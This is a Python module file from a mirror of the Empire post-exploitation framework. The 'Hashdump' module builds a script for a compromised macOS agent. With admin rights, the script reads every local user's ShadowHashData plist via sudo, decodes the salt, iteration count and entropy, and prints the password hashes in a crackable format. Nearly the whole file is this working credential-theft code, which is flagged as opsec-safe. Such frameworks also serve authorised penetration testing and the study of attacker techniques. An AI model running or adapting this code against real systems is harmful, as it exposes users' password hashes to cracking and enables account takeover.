mirror of
https://github.com/EmpireProject/Empire
synced 2026-06-08 10:58:16 +00:00
xorrior
113 lines
3.7 KiB
Python
113 lines
3.7 KiB
Python
from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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# metadata info about the module, not modified during runtime
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self.info = {
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# name for the module that will appear in module menus
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'Name': 'Hashdump',
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# list of one or more authors for the module
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'Author': ['@harmj0y'],
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# more verbose multi-line description of the module
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'Description': ("Extracts found user hashes out of /var/db/dslocal/nodes/Default/users/*.plist"),
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# True if the module needs to run in the background
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'Background' : False,
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# File extension to save the file as
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'OutputExtension' : "",
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# if the module needs administrative privileges
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'NeedsAdmin' : True,
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# True if the method doesn't touch disk/is reasonably opsec safe
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'OpsecSafe' : True,
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# the module language
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'Language' : 'python',
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# the minimum language version needed
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'MinLanguageVersion' : '2.6',
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# list of any references/other comments
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'Comments': [
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"http://apple.stackexchange.com/questions/186893/os-x-10-9-where-are-password-hashes-stored"
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]
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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# The 'Agent' option is the only one that MUST be in a module
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'Description' : 'Agent to execute module on.',
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'Required' : True,
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'Value' : ''
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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# During instantiation, any settable option parameters
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# are passed as an object set to the module and the
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# options dictionary is automatically set. This is mostly
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# in case options are passed on the command line
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if params:
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self, obfuscate=False, obfuscationCommand=""):
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script = """
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import os
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import base64
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def getUserHash(userName):
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from xml.etree import ElementTree
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try:
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raw = os.popen('sudo defaults read /var/db/dslocal/nodes/Default/users/%s.plist ShadowHashData|tr -dc 0-9a-f|xxd -r -p|plutil -convert xml1 - -o - 2> /dev/null' %(userName)).read()
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if len(raw) > 100:
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root = ElementTree.fromstring(raw)
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children = root[0][1].getchildren()
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entropy64 = ''.join(children[1].text.split())
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iterations = children[3].text
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salt64 = ''.join(children[5].text.split())
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entropyRaw = base64.b64decode(entropy64)
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entropyHex = entropyRaw.encode("hex")
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saltRaw = base64.b64decode(salt64)
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saltHex = saltRaw.encode("hex")
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return (userName, "$ml$%s$%s$%s" %(iterations, saltHex, entropyHex))
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except Exception as e:
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print "getUserHash() exception: %s" %(e)
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pass
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userNames = [ plist.split(".")[0] for plist in os.listdir('/var/db/dslocal/nodes/Default/users/') if not plist.startswith('_')]
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userHashes = []
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for userName in userNames:
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userHash = getUserHash(userName)
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if(userHash):
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userHashes.append(getUserHash(userName))
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print userHashes
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"""
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return script
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